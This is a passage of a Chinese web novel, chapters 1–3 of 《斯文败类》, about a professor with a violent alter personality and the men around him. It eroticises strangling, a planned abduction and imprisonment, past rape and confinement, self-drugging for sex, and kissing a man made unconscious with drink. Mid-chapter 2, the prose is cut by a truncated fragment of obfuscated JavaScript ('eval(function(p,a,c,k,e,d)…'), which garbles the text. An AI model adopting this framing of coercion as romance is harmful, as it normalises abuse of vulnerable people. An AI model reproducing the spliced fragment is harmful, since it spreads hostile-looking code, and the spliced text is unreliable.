《斯文败类》 1. 分裂人格 日暮。 橘红霞光透过窗轩投落到讲台前,错乱的鎏金光影映在年轻教授俊逸的脸上,将他神情的冷漠疏离都消融了几分。 随着下课铃响,郁杉理了理讲台上的教案,走出这间阶梯教室。 教室里学生相继离开,有一名经常来旁听的女生追上郁杉,红着耳尖,匆忙将一盒手工巧克力塞进郁杉怀里:“郁教授,教师节快乐。” 在郁杉还没来得及回拒的时候,那个女生便头也不回地跑开了。 现在是放学的人流高峰期,A大不少学生都注意到了走廊的这一幕,身周带笑音的八卦窃语声四起,郁杉目光落在压住他教案的那盒巧克力上,犹豫思索了下,还是没有当众扔进垃圾桶。 在A大很多学生眼中郁杉都贴着冷漠和不近人情和标签,是出了名的冰山美人儿,啊不是,冰山教授。 但出于涵养,郁杉冷漠壳子下会有些不经意的温和,比如照顾学生面子而暂时留下这份颇为棘手的夹了情书的教师节礼物。 手机的屏幕亮起了一瞬,郁杉扫了眼上面齐蹊发来的信息,往校心理咨询室走去。 A大心理医学和金融学都是重点系,学院聘请的教授都是行业类的学术顶流。郁杉和齐蹊家里是世交更是门对门的邻居,他们从小一起长大,一起读天才实验班,一起参加各种国际竞赛,像形影不离的双子星,只是成年后各自出国求学才分开了一段时间。他们一个研修了心理医学一个研修了金融学,但兜兜转转最后竟都受聘于A大。 比起对旁人如竖冰岩的疏离,郁杉对齐蹊这位竹马的态度可算得上极为亲近。 敲了敲心理咨询室的门,郁杉推门而入,他随手将怀中的手工巧克力往齐蹊桌上一放,顺便破天荒说了句:“教师节快乐。” 刚拿起外套和车钥匙准备和一起郁杉走的齐蹊身形微顿,他目光可疑地扫向那盒系着粉红色蝴蝶结的巧克力。 齐蹊打开来看到贴在盖子上的一张没有署名的表白便签,他心中有猜测,但还是不抱期待地开了句玩笑:“阿杉,你藏了这么多年终于要对我下手了?” 郁杉将那张便签纸从齐蹊手中抽离,他扫了一眼颇为文艺又爱意直白的情诗后,随手扔进一旁的垃圾桶里:“下课时一个学生追着给的,你不吃就扔了吧。” 齐蹊目光有一瞬难言的黯淡,他放下那盒巧克力笑着说:“我先去开车。” 但郁杉却将手中的教案放在齐蹊手上,拿走了齐蹊的车钥匙:“我去吧。” 齐蹊的车停在后面一栋教学楼的停车位,坐进驾驶位的郁杉没有立刻开车,他握住方向盘的手微微用力,纤长骨感的手指有些泛白,像是在压抑些什么。 郁杉回想起齐蹊方才玩笑似的话,陷入挣扎的思考。 向他表过白的学生、同事、甚至金融业内的大鳄有很多,但他对所有人都没什么感觉。只有齐蹊,作为从小相伴的挚友,若是以伴侣的身份长久地走下去,他好像也还可以接受。 郁杉能察觉到齐蹊对他的喜欢,他好几次都想跟齐蹊摊开说。但每次一有这个想法,脑中就会像现在一样出现尖锐的刺痛感,像是被人恶意报复拿锥子在脑髓中敲凿般。 那家伙……郁杉闭了闭眼睛,缓了好一会儿才启动车子去接在路边等他的齐蹊。 看上车后的齐蹊将外套和教案放好,郁杉语气平静地问:“回公寓还是先去你的私人心理医院?” “我回医院,最近忙。”齐蹊也没问郁杉取趟车为什么用了这么长时间,他回道,“有个小病人,你认识的,楚遂,他主动预约了晚上的催眠治疗。” “晚上没事的话,你就陪我待在医院吧。” 齐蹊虽然在A大任教,但一周只有一两次大课,大部分时间他都不用来学校,而是待在他开的那家心理医院里。 郁杉比他的课时任务稍多些,但也不算忙碌。 “嗯。”郁杉平静应道,他握方向盘的手用力了半分,面上没有流露什么异样,“齐蹊,给我开点助眠药吧,这两天总是失眠。” 注意到郁杉细微动作的齐蹊神色微变,突然紧张起来:“是郁寒?他又出现了?” 郁杉目光微敛,一言不发地驾车向心理医院的方向开去,但车速却有些异于常态得快。 这车飙得突然,齐蹊目光落在郁杉神色淡漠的脸上,郁杉那双往日里波澜不惊的墨色眼瞳里此刻压抑着重度不安的焦虑。 齐蹊神色凝重:“什么时候开始的?他有没有再对你做什么过分的事?……不行,今天晚上的催眠治疗你也一起。” 郁杉知道自己的状况瞒不住齐蹊的眼睛,他薄唇微抿,如实说:“他没主动和我撞面,但这两天晚上我总是会在不知情的情况下出现在不同的酒吧,他用着我的身体还是一如际往放浪得很。” 郁杉祖上有家族遗传的精神分裂症,但他在16岁那年父母车祸去世后才突然发病,之后他被他的分裂人格折磨了九年,病况是在两年前齐蹊回来后出手干预才有所好转的。 连续两天夜里恢复意识时都发现自己身处在从未去过的酒吧,酒保甚至店长还熟络地同他打招呼,这对郁杉来说是个极端危险的信号。 齐蹊眸色一沉:“阿杉,你这段时间晚上跟我住一起,我看着你些。” “嗯。”郁杉低声应道,车驶进了医院的地下车库,他下车关车门时身形微晃,虚扶了一下把手。 察觉到异样的齐蹊迅速扶住郁杉,他关切问道:“头疼?” 郁杉脸色苍白,深吸一口气说:“我没事,你先松开我。” 就在齐蹊刚才碰到他的那一瞬间,脑子里那家伙跟发疯一样搅得他不得安宁。郁杉想和他的副人格对话,但郁寒根本不应,只是不断地用疼痛折磨他。 齐蹊依言松开了手,语气颇冷:“他又发什么疯?” 郁杉勉强缓了缓神,和齐蹊往电梯走去,他语气淡漠,言辞却是些能代表亲昵信任的抱怨:“一会儿你去忙的时候给我来针镇静剂吧,我在你那睡一会儿。这两天都不敢合眼,快被他搞得神经衰弱了。” “好。”齐蹊按下电梯的层数键,“我们晚上吃什么?” 但郁杉一直没有接话,齐蹊一顿,神色警惕地看向身侧的郁杉,却看到面前的“郁杉”嘴角勾着诡异的笑容,正目光戏谑敌视地盯着他。 齐蹊皱着眉和“郁杉”拉开半步距离,他眼神中是和对方如出一辙的敌视:“郁寒?我们谈谈?” “齐医生的表现太不专业了啊,怎么能歧视嫌恶你的病人呢?”郁寒笑容扩大,嘲讽道,“你对我的不爽都写在脸上了。” “对你这种无药可救的危险型反社会人格,我觉得不必抱有人道主义的仁慈。”齐蹊语气很不客气,“我只希望什么时候能把你彻底弄死,还我一个完完整整的阿杉。” 随着电梯的层数指示灯闪烁,“叮”地一声后,电梯门打开,齐蹊抬脚就往外走。 但郁寒突然出手猛拽住齐蹊,并且在齐蹊反击时擒住他的双手,而后狠狠将齐蹊掼在冰冷的电梯墙壁上。 齐蹊来不及呼救出声,电梯门就已经再次关合上了,与他从小一起长大的挚友此刻狭长好看的眼睛微眯着,带着阴戾的恶意,死死掐住了他的脖子。 齐蹊面色因疼痛和缺氧而涨红,他抬脚想踹开郁寒,却被郁寒反应迅速地用膝盖重击腹部,齐蹊发出一声闷哼,觉得自己五脏六腑都要被这一下撞散了。 郁寒手上的力收紧,他目光狠厉而危险,语气却轻佻上扬地说着:“收起你对郁杉的那点小心思,再有下次,杀了你哦。” 在即将被窒息感淹没的前一瞬,齐蹊察觉到手上和脖子上的钳制微松,他瞬间抬腿以牙还牙地顶向郁寒腹部,而后趁机挣脱的左手手肘向着郁寒肩部一记重击。 但这次“郁寒”没有还击,他吃痛地向后退了一步,捂着肚子半蹲了下去。 “阿杉。”反 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郁杉目光低敛,不知道怎么解释。 “没事,就是朋友之间打了一个小架……促进友谊。”齐蹊因为疼痛说话的声音微有些不稳,“小鱼,你当没看见就好。” 池鱼目光在齐蹊和郁杉中间流转,并没有嗅到什么不好的气氛,若有所思的她突然眼睛亮了亮,点点头说:“好的好的。” 知道池鱼那小脑袋瓜里又脑补了什么不正经的东西,齐蹊笑了笑,带着郁杉从专用通道往他二楼的办公室走。 齐蹊的办公室很大,还配有内隔间的休息室,他给郁杉倒了杯温水喝,把他摁坐在沙发上:“一会儿打完镇静剂,你去里屋好好睡一会儿。” 齐蹊坐在办公桌前给郁杉开了张镇静剂和安眠药的药单,然后拨通座机叫助理李铮去拿药。 还在精神世界尽力压制着郁寒的郁杉紧捏住玻璃水杯,浅浅地喝了一口。他自顾不暇,便没有注意到齐蹊刚才握笔的手微有些抖,而且此刻的脸色越来越苍白。 齐蹊深吸一口气,他的腹部一直持续传来的剧烈撕绞的疼痛感,不同于他单纯想要挣脱钳制的反击,郁寒对他下的都是死手,他可能得去旁边的市中心医院检查一下腹部内伤了。 不过齐蹊没在郁杉面前露出异样,他从抽屉里翻出一支化於止痛的外伤药,想给郁杉的右肩和腹部上药。 郁杉稍微回过些神时,齐蹊已经在他身前半蹲了下来,他抬手抓住齐蹊那只想撩开他衣摆的手,对上齐蹊的目光说:“我自己来吧。” 齐蹊也不和郁杉争,他将伤药给郁杉,不过郁杉撩起衣服在腹部於紫处抹药时,他的视线没有丝毫回避。 郁杉的腰肢纤细,冷白的皮肤上大片的於紫显得伤势格外的严重,但郁杉身上那份凌虐的美感让人怜惜又让人疯狂。 齐蹊目光在郁杉漂亮的身体上流连,并不克制也并不露骨,但眼中有隐晦的暗色明灭:“怪我,我下手没控制好力度。” “不怪你。”郁杉解开衣领的扣子,扯下右肩的领口,将伤药抹在看不见的痛处,“你的伤怎么样?一会儿我帮你上药。” 郁杉显然并不知道自己此刻衣衫半解的样子有多勾人,揉抹伤处的痛感让他冷漠的眉锋微微发抖,露出几分招人的脆弱来,像一瞬间打碎了他往日的冷漠疏离感,让人生出疼惜之心……又极端地,想看他再痛苦些。 压抑的情绪反复挣扎交迭,齐蹊呼出一口浊气,欲言又止:“阿杉……” “嗯?”郁杉抬眼认真看他。 突然响起敲门声,齐蹊将话咽了回去,他快速起身,走到门口去拿李铮送过来的镇静剂和安眠药片,身子有意将屋内衣衫半解的郁杉遮挡住。 但李铮还是不自觉地扫到了一眼,看到自家老板的神色不太对劲,李铮面色隐隐发红,懂事地把门带上:“打扰了,你们继续。” 2. 囚笼困兽 齐蹊把安眠药放在沙发前的桌子上,坐到郁杉旁边。 郁杉也正好抹完伤药,他理了理自己的衣领,然后动作轻柔地去撩齐蹊的衣服,想给齐蹊的伤处上药。 齐蹊任由郁杉动作,他的衬衣衣摆被轻轻卷起,露出比郁杉身上更恐怖的於青,郁杉动作微顿。 齐蹊一眼看到了郁杉眼中的心疼,他唇角噙着浅笑,在郁杉那句“抱歉”说出来之前开口:“没事的。” 听到齐蹊虚弱牵强的声音,郁杉目光微冷,不顾郁寒此刻在他脑子里如何折腾,他伸手将药膏揉抹在齐蹊腹部,动作轻柔而认真。 齐蹊背靠着沙发,姿态放松,他看着郁杉这副模样实在享受极了。 其实郁杉一碰伤处他就疼得厉害,连皮肉之下的脏器都在疼,但郁杉睫羽低垂全神贯注地为他擦药的样子让他心动愉悦得体内多巴胺飙升,近乎能麻痹疼痛。 齐蹊盯着郁杉好看的侧颜出神,他悄悄地将这张熟悉的面容轮廓一遍又一遍在心里刻画着。 直到郁杉手上的动作不小心地一重,齐蹊一声痛哼后才回过神。 面前郁杉薄唇微抿,神色苍白虚弱地像是在忍受什么极端的苦楚,齐蹊目光生寒,知道郁寒又在折腾郁杉。 齐蹊抓住郁杉覆在他腹部的手说:“不用抹了。” 郁杉抬眸看向齐蹊:“弄疼你了吗?” 齐蹊只摇摇头:“没有,要到楚遂之前预约的时间了。” 从桌上拿起镇静药剂弹开玻璃瓶口,而后抽进一次性针管,齐蹊一套动作利索迅速,他拉起郁杉的手腕,将镇静药剂注射进去:“你休息吧,等我工作结束一起回家。” 针头抵上手腕的瞬间郁寒发疯得厉害,郁杉手抖了抖,几乎压制不住郁寒。 打完这一针的齐蹼紧紧抱住郁杉发颤的身体,声音安抚温和:“放松,放松。” 这个拥抱差点让郁杉被郁寒折磨得疼晕过去,趋利避害规避痛苦几乎是人性本能,但郁杉这次竟没有同郁寒退让的打算。 他在齐蹊的怀抱里缓了许久,直到镇静剂开始起效,同样是这具身体的意识体,郁寒还没那个本事不受身体本能困倦的影响,也很快消停下来。 郁杉身体的颤栗逐渐平复后齐蹊才松开手,郁杉撑着身子往里屋走去,齐蹊见郁杉躺上休息室的床,正想帮忙关上门,突然想到什么又走了进去。 齐蹊扯下领带拉过郁杉的两只手腕仔细捆了起来:“绑一下吧,不然我怕几个小时后回来看不到你。” 郁杉的双手明显挣扎了一下,但他强行压下郁寒的反抗,支着困顿的意识说:“脚也可以绑一下,领带会不会不够结实,你这儿有钢链吗?” 他们都对郁寒曾经的危险程度心有余悸,但办公室休息室条件有限,齐蹊只找到绑窗帘的绳子,等齐蹊绑好郁杉的双手双脚时,郁杉已经在药效下沉沉睡过去了。 齐蹊看了看郁杉的睡颜,那是一个人最无防备的姿态,他目光从郁杉被束的手腕脚腕一一扫过,喉节滚动,心中有不可控的欲望掀起汹涌浪潮。 齐蹊叹了口气,觉得自己果然是个变态。 从事精神医学这个行业,他遇到过很多躁郁症或者精神严重失常的患者,有时候禁锢是必要的配合治疗的手段,齐蹊觉得自己应该没有捆绑束缚这种小众性癖。 但是,但是在郁杉身上……齐蹊只觉得自己内里肮脏,郁杉真的能轻易撩动他的欲望,他只对郁杉一个人有着变态的不可言说的心思。 齐蹊在十一年前就明确知道自己对郁杉超出友情的感情,他那个时候甚至卑劣地因为郁杉父母身亡而窃喜过,因为那样郁杉的世界就只有他了。 郁杉性格冷漠,社交关系浅薄,身边只有他一个要好的朋友,他大可以把郁杉私藏起来,再动点手脚,不会让任何人发现郁杉消失。 两年前和郁杉同时回A大任教时,齐蹊本来已经有实质性的计划了,他私下里在市郊买了一栋别墅,还做了很多让郁杉能对他产生精神依赖的准备。 但在下手的前夕,齐蹊突然遇到了一个被A市顶层阔少带来的重度抑郁症患者。 齐蹊记得那位患者是一名国内颇有名气的年轻魔术师和电竞新星,叫徐然。 但齐蹊见到他时,他那双魔术师赖以生存的手上布满了狰狞的刀疤。 A市有不少阔少玩儿得都挺疯,仅仅是凭外表可见的地方,齐蹊就已经瞬间明白那名魔术师为什么精神失常为什么目光空洞得像个没有生气的人偶,还伴有应激失忆症和自我认知障碍。 那阔少长得斯斯文文俊得跟明星似的,言语间却一股子二世祖的痞气儿,玩起些控制人摧残人的手段来也是个狠角儿。 但他似乎把人玩废了又后悔了,他当初神色颓败地拉着齐蹊说了几句算不上忏悔的话,“那么多朋友在他还拿刀划伤了我,我面子挂不住当时是火气真上来了,就只是想让他听话些,反正他双手残疾了我也能养他一辈子。” “我根本不知道他反应会那么夸张,他那晚哭得比我第一次强他还他妈离谱。可后来手伤不是给他找最好的医生治好了吗,不就是没以前灵活了吗?” “也不知道他为什么要整天觅死觅活地发疯,我荀越这辈子除了他谁让我这么伺候过啊,我当初真把他当祖宗一样捧着,我对他真的够好的了。” “后来就是听信一两个朋友的方法,把他锁在小黑屋里关了一阵子,也没多久,他倒是不发疯了,结果变成了这副让我发疯的样子。” 那名年轻魔术师在齐蹊手下接受了很长一段时间的心理治疗,齐蹊用了很多努力才将他从失魂失语的状态拉回来。 但他却在所有人毫无防备的情况下从六楼窗户跳了下来,若不是楼下刚好有株枝繁叶茂的大树接住了他,他会成功地在所有人面前惨烈地死去。 不得不承认那是他对荀越一次很脑残却又很成功的报复,那名年轻魔术师跳楼之后便一直昏迷不醒,到现在还在市中心医院的VIP病房里躺着。 齐蹊不想和郁杉走向这种结局,郁杉不是他可以私藏、独占的玩物,他是他爱的人。 于是齐蹊将自己那些阴暗扭曲的心思全部掩藏起来,他把郁杉捧在心尖儿上护着,用克制而温柔的那一面小心翼翼地对待郁杉。 齐蹊后来才知道,他舍不得对郁杉做的,在他和郁杉分开的那几年里,郁寒已经在郁杉身上做过不止一遍了。 所以齐蹊面对郁寒时,完全无法再秉持自己作为一个心理医生理应对患者不含个人负面情绪的职业道德操守,他真的一心只想让郁寒永远消失。 齐蹊深吸一口气,他按了按腹部的伤,用疼痛将自己从此刻沸腾难遏的欲望中强行抽离。 身上卸了那股在郁杉面前强撑的劲儿,伤势的痛楚不可抑制地反噬上来,齐蹊喉间压下的血气反涌。 擦了擦嘴角溢出的血,齐蹊心中一沉,他受的伤似乎比他预想中的还要严重。 齐蹊用未沾血迹的手碰了碰郁杉的脸,不知道在想什么,忍着痛过了好一会儿才出去。 睡梦中的郁杉陷入了难得的安宁,但这份安宁并不长久,许久后他似乎被人拽到了一层白茫茫的云雾中,找不到出路。 郁杉站在原地,看着云雾中走出的另一个自己,他平静地喊了声:“郁寒。” “好久不见,宝贝。”郁寒一瞬间出现在了郁杉身后,他环抱住郁杉,贴在郁杉耳边低语。 “我希望再也不见。”郁杉挣了挣,见郁寒的胳膊像枷锁牢牢禁锢住了他,他语气有种平静淡定的歇斯底里,“郁寒,你为什么还要出现,你的存在就是在不断告诉我,我是个疯子 。” “我们不就是疯子吗?”郁寒讥讽一笑,他咬上郁杉的耳垂,反复舔.弄,“没有我,你也是。” 郁杉闭了闭眼睛,他集中精力试图脱离被郁寒主宰的精神世界。 不知道为什么,他明明才是这具身体的主人格,郁寒在精神世界里却总是压他一筹,在这里,他几乎只能任郁寒摆布。 郁寒看着试图挣扎的郁杉,眼中的笑意和戾气一点点加重。 他在郁杉衣摆下游走的手越来越放肆,郁寒从郁杉的喉结一路抚摸到腰肢。感受着郁杉柔软又紧绷的身子,郁寒突然紧紧掐着郁杉的腰窝将人箍在怀里,他从郁杉的耳垂深吻到脖间,吻到郁杉浑身发颤。 尝试过却怎样都脱离不了精神世界的郁杉面色越来越冷,时隔两年的困境再次残忍地将他笼罩,他手心一点点握紧,忍无可忍地说:“滚开,别碰我。” 郁寒被呵斥得一顿,他挑起郁杉露出愠色的脸,颇有些兴奋地说:“瞧瞧,这模样多带劲儿。” 郁杉趁着身上的钳制松了一半,侧身向后一记肘击,从郁寒怀中挣脱出来。 郁杉正对上郁寒那张和他一模一样却神色阴戾的脸,他被郁寒渗人的目光吓得不自觉地后退了半步。 僵持了片刻,郁杉目光微垂,开口问:“郁寒,你到底要怎样才能放过我?” “放过你?”郁寒笑了笑,神色玩味。 下一瞬,精神世界被全然的黑暗笼罩,像是天灯骤灭,看不到一丝光线。 身周许久都毫无动静,于是蛰伏的不可窥探的未知危险愈发滋养人的恐惧。 郁杉神经紧绷着,却突然感觉自己四肢被什么拽住,他戒备地喊了声:“郁寒。” “找到你了——”郁寒兴奋的声音突然由远及近,一刹那出现在郁杉耳畔。 再次被郁寒抱住的郁杉咬着牙,整个精神世界都在郁寒的掌控之中,郁寒怎么可能不知道他在哪里。 但人格间的心理博弈无处不在,郁寒这是在给他下“是他主动暴露位置给郁寒”的心理暗示。 黑暗中,郁杉被郁寒推倒在地,那些拽住他四肢的东西力量收紧,将他牢牢禁锢住。 他像是囚笼困兽,像是砧板鱼肉。 “你又要做什么……”郁杉知道又要发生什么事情,他语气带着难掩的倦怠和无力。 “你说做什么?”郁寒一脚踩在郁杉胸口上,用脚尖挑开郁杉的衣服,语气恶劣,“让我玩尽兴了,今天就放过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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郁寒眉头一拧,像是被郁杉的样子激怒了,他神经质地掐住郁杉的脖子,语气阴戾:“装什么装?” 僵持了很久后,郁寒似乎觉得没意思,他松开郁杉,笑着说:“没关系,苦头没吃够的话,我们……慢、慢、来。” 被郁寒放出精神世界的郁杉缓缓睁开了眼睛,他略有些诧异,他甚至做好了又被郁寒关在精神世界长久折磨的最坏准备,却没想到郁寒今天会这么轻易的放过他。 郁杉侧头望向窗外,月亮和星星升得很高,看外面的天色应该已经很晚了,他不知道齐蹊是不是治疗过程出了什么问题,为什么这个时间还没有回来。 隐隐的,郁杉心中有些不安。 “怎么?又在担心你的小竹马?”郁寒的声音冷不丁地从脑海中冒出来,语气嘲弄。 郁杉没有理会郁寒,他抬头看了看被绑在床头的双手,应该是时间太久了,已经快没有知觉了。 失了镇定剂的药效,这个姿势的难受就凸显了出来,他用力挣了挣,没有用处,反倒将手腕上已经勒出於痕的皮肉蹭破了。 欣赏着郁杉徒劳的挣扎,郁寒嘲讽地笑了下:“瞧你这细胳膊细腿儿的,连根领带都挣不开。” 郁杉神经倦惫地阖上眼,抿着唇回怼着:“同一具身体,你不也同样的胳膊同样的腿。” 郁杉此刻的状态不好,郁寒很轻易便抢过身体的控制权,他面不改色地挣断绑在手腕上的领带,而后揉了揉手腕处的勒痕,阴阳怪气地笑说:“谁跟你一样力气小得可怜。” 郁杉沉默地看着郁寒解开脚腕上的绳子,他一直都不明白,为什么使用着同样一具身体,郁寒这疯子的力气却能大得不似常人。 郁寒似乎对手腕上的勒痕很感兴趣,他不顾神经末梢传来的痛感,反复揉捏着那道血红的勒痕,语气甚至有些兴奋:“真好看,你这副身子就该多些这样的痕迹,宝贝,你真得超适合被监.禁被凌虐。” 郁杉被郁寒这疯子的话吓到了,他毫不怀疑郁寒有多想对他做出格的事情,即使这也是郁寒自己的身体。 郁杉顿了很久后才开口,他语气故作平静地反讽:“……我不知道你还有抖m的属性。” 郁寒并不在意郁杉没有任何攻击力的话,他察觉到了郁杉的恐惧,脸上的笑容更加恶劣。 郁杉挑逗地说:“回头我们试试?欢愉和痛苦都被掌控的快感,你这种禁欲克制的性子尝过一次后多半会上瘾。” “郁寒,你别太过分。”郁杉一顿,清冷的声音中带着难掩的嫌恶和不安。 “我什么时候不过分过啊。”郁寒笑着,起身推开门走了出去,他看到外面墙上的挂钟显示的时间已接近12点。 外面楼道的灯依次灭了,池鱼刚好进来熄灯锁门,她看到唇角勾起的“郁杉”时,明显微愣了一下:“郁教授,你还在这边的吗?” 这个点儿了,齐蹊不可能还在给病人做治疗,郁杉很想问池鱼齐蹊在哪儿,但他一时间抢不回身体。 郁寒看都没看池鱼,径直走了出去。 “你要去哪儿?”根本压制不住郁寒的郁杉语气戒备地问着。 “去玩玩儿,夜生活才刚开始啊我的郁教授。”郁寒像是想到什么好玩的事情,挑逗地说,“顺便带你见见世面。” 出了齐蹊的私人心理医院,郁寒目光微凉地看了眼一街之隔的中心医院,但他步伐并无停顿,哼着歌朝相反的方向走去。 3. 天使之吻 A城的夜市喧闹,灯光璀璨如昼,郁寒走在路上,路灯炽白的光影落在他身上,添了几分清冷气。 他像是游离闹市的孤魂,身影不容世俗的疏冷,脸上却挂着浪荡子的轻浮笑容,极端矛盾又极端的吸引人。 郁寒走进了市中心一家有名的酒吧——“醉梦”。 一名面容俊朗眉眼深邃的调酒师微微靠着吧台,酒吧里晃眼的幻彩灯光映在他棕咖色微卷的碎发上,落下的阴影勾勒出优越凌厉的下颚线。 他穿的并不是调酒师的制服,只是件简单的黑色衬衣,但那身禁欲矜贵的气质却蛊得人心脉澎张。 这位“醉梦”的金牌调酒师有力的双臂正快速摇置着手中的透明马克杯,杯中盛着的酒液与八分满的冰块碰撞着,迸发冰冷与热烈冲撞交织的气息。 郁寒站在酒吧中光影交错的角落,目光颇有几分戏谑的欣赏之意,他目不转晴地看着调酒师动作优雅地将柑蓝色的酒液缓缓倒入高脚酒杯中。 银色打火机在他骨感纤长的指节间转动,危险的赤色火焰将最上层的烈酒瞬间点燃,蓝色与赤色纠缠的冰焰映亮了调酒师那双醉人的幽邃眼眸。 调酒师眉眼流露出几分勾人的张扬笑意,在杯边放上一小叶薄荷装点收尾,他调酒的动作从容优雅地像是在展现什么绚美的艺术。 郁寒看到熟识多年的调酒师微微倾身,礼貌地将成品推放到吧台的客人面前:“您点的蓝色妖姬,享用愉快。” 郁寒在吧台找了个偏僻些的位置坐下,从郁寒进门眼角的余光就一直锁在他身上的调酒师终于靠了过来。 “好久不见,喝点什么,郁教授。”金牌调酒师浅笑着,语气熟络地问。 “有两年没见了,宗大少爷,你居然一点儿没变。”郁寒一副造访故友的怀旧模样,他面上笑得随性,“来杯水割威士忌。” 宗寰的笑容垮了下来,他叹了口气:“换一个,手累。” “那随便做吧。”郁寒向椅背上一仰,捋了捋褶皱的衣袖,语气随意,“你做什么我喝什么。” 宗寰的目光顺着郁寒的动作落在他的手腕上,他挑了挑眉:“手上这伤怎么回事?” “啧,一个讨人厌的心理医生捆的。”郁寒目光闪烁,提及齐蹊的他语气明显的不悦。 “心理医生?”宗寰开酒的动作微顿。 郁寒没继续说,他抬起纤细白皙的手腕在眼前转了转,意味不明地冲宗寰笑着:“这伤倒是挺好看,凌虐美真的很容易勾起施暴欲。” “晚上要去‘夜色’玩儿吗?你要是想释放一下你的施暴欲,夜色倒是新来了几个不错的嫩模。”被郁寒的笑容晃了眼的宗寰收回有些变味了的目光。 他面色平静地取出一只酒杯,在加入半杯冰块后,用巴勺搅至杯体结出冰霜。 郁寒看着宗寰调酒的动作,没有应他的话,只是突然语气随意散漫地问道:“宗寰,我好像记得你是圈内有名的Dom?” “怎么了?”宗寰也不避违在公众场合提这个,他笑了笑,将刚开下来的深色可可香甜酒倒入杯中,再用冰块分隔倒入鲜奶。 “我们试试吧。”郁寒目光闪烁,突然说。 他今晚带他家单纯的郁杉见识见识刺激的东西,他倒想看看一直不说话的郁杉能忍到什么程度。 宗寰倒鲜奶的手明显抖了一下,他有些惊愕地看向郁寒:“你刚刚说……郁寒,你不一直也是Dom吗?你要和我试试?” 宗寰一瞬间脑子里闪过数百上千个念头,他像是怕郁寒反悔,赶在郁寒说话前快速开口:“不过我很高兴能拥有支配你这样的Sub,晚上能跟我回家吗?我立刻下班。” “拜托我们的金牌调酒师敬业一点啊,好歹我的这杯酒做完了再走。”郁寒笑着,像是没有反悔的意思。 宗寰敛了敛激荡的心神,他知道自己心急了,优秀的Dom从来都是高傲的掌控者,他居然被送上门的猎物勾了心神。 但谁叫这只猎物,是他觊觎了多年的天菜呢。 宗寰恢复了他那副优雅从容的样子,他穿叉两颗红樱桃挂在酒杯杯口处,将这杯桃白色鸡尾酒推到郁寒面前。 宗寰目光中带着些期待:“天使之吻,是杯甜酒。” 郁寒拿起还带着冰霜的酒杯,抱着新奇的心态浅尝一口,随后便直接皱了眉:“这是……酒心牛奶巧克力?宗寰,当我小孩子吗?我以为你至少会给我调杯烈酒。” “再喝一口,你会知道它为什么叫天使之吻的。”宗寰笑了笑。 郁寒被激起了好奇心,他拿起酒杯再尝了一口,此时第一口的酒意涌了上来。 郁寒没想到入口清醇的甜酒会这么烈,他的灵魂一瞬被带上云端,丝滑的鲜奶可可像天使柔软的羽翼包裹着他的味蕾,沁人的甜意像是亲吻一样缠绵。 郁寒飘浮的灵魂仿佛间在与郁杉相吻,郁寒意识恍惚,一瞬间只觉得这酒更甜了几分。 宗寰看着两口便醉得不省人事的郁寒,目光晦暗地将这瓶他收藏许久的甜酒重新放入酒柜,慢条斯理地摘下手套。 和店里负责另一个区域的调酒师打了声招呼,宗寰离开吧台,走到意识断片儿的郁寒身侧。 昏醉的郁寒面色酡红地趴在吧台上,宗寰伸出他修长好看的手,灵活的指尖轻轻挑开郁寒的袖口的纽扣,将郁寒手腕上血红色的勒痕完全暴露出来。 宗寰目光微暗,他克制地缓了缓,强压下一瞬间心中涌出的恶劣欲望,然后轻挑起郁寒的下颔,俯身在郁寒唇上落下一吻。 干净纯粹得,像是在亲吻被他困于人间的天使。 酒吧里昏暗的光影错落,宗寰挡住了四周隐隐投来的那些晦涩视线,他将郁寒圈抱在怀里,像是恶魔圈住了他觊觎已久的猎物。 宗寰贴在郁寒耳边,语气暧昧低沉地呢喃:“My angel, finally caught you。” …… 郁杉也被身体的醉意影响了,他意识清醒独立的时候从来不会去喝酒,于是醉意对他的影响比对郁寒更重些。 郁杉此刻恍若感觉到了失控般的灵魂飘飘然的虚浮空茫感。 精神世界清冷飘渺的白雾都仿若变成了柔软的云朵,逐渐升温的氛围让郁杉觉得有些不安。 醉意上浮,郁杉好像听到了郁寒恶劣捉弄的声音:“宝贝,你醉了的样子让我想起了一些愉快的回忆……重温一下我们的第一次?” 下一瞬,精神世界的画面旋转颠覆,郁杉看着眼前熟悉的酒店房间,瞳孔微缩,几乎下意识就想往房间外面逃。 但门把拧开,被引力拽出去的郁杉却还是进到了房间里的浴室。 他就知道郁寒今晚不会那么松易放过他,郁杉深吸一口气,强迫自己冷静下来,但醉醺的意识在郁寒刻意的暗示下仍旧逐渐和两年半前的记忆重合。 两年半前。 郁寒看着镜子中那个往日里神色清冷高不可攀的美人被逼得眼角潮红,此刻难堪而窘迫地喘息着,他心情愉悦而恶劣地叫了声:“教授……” 被郁寒在精神世界关了三天的郁杉此刻勉强夺回了身体的操控权,他用冷水泼着脸试图压下不正常的浮躁。 郁杉根本不知道郁寒脑子里在想些什么,怎么会有人给自己下药。 郁寒抚上这张沾满水珠徒添艷色的脸,回答郁杉心中的问题:“因为我爱你啊,阿杉,为什么要容许别人这样叫你?为什么要和那个心理医生那么亲近?每次看到你和齐蹊接触,我就恨不得把你关起来狠狠欺辱。” 郁杉抓住了那只在他脸上作乱的手,厌恶而冰冷的吐出三个字:“神经病。” 郁寒笑了起来,他目光阴戾地盯着镜子中那个笑容违和的自己:“我们早都病入膏肓了,我最烦你这副欠调.教的矜傲清冷劲儿,我们骨子里都是烂透了的败类啊,装什么?” 郁杉脑子里像是被一把烈火点燃,他难受到快克制不住自己,但他所有的反抗都被轻易压制住,他再次丧失了身体的操控权。 郁寒摁住那颗加速跳动的心脏,像是想要生生剜出来:“我的教授,这个世界上有谁会比我更爱你呢?我们明明拥有着同一颗为彼此跳动的肮脏心脏啊。” 郁杉看着郁寒俯身亲上了冰冷的镜面,神态痴狂地做着些恶心的动作,明明身体和意识都陷在躁热的欲望中,但郁杉却觉得自己陷在寒冷的冰窖里如历凛冬。 眼前的镜面逐渐被白茫茫的雪点覆盖,模糊了他不愿直视的镜像。 世界好像落了一场纷飞的大雪,郁杉看着指尖融化的冰凉雪花,希冀着这场大雪再厚些,好掩藏掉他灵魂所有的脏污。 他像是一具行尸,身体不知何时被郁寒操控着躺在了床上,他意识涣散,世界好像冰雪与烈火纠缠争战。 他最终还是在这场争战中落败,心中疏漠克制的冰墙破裂,雪岭最终被烈火烧得消融,世界只剩下灰蒙蒙的灰烬。 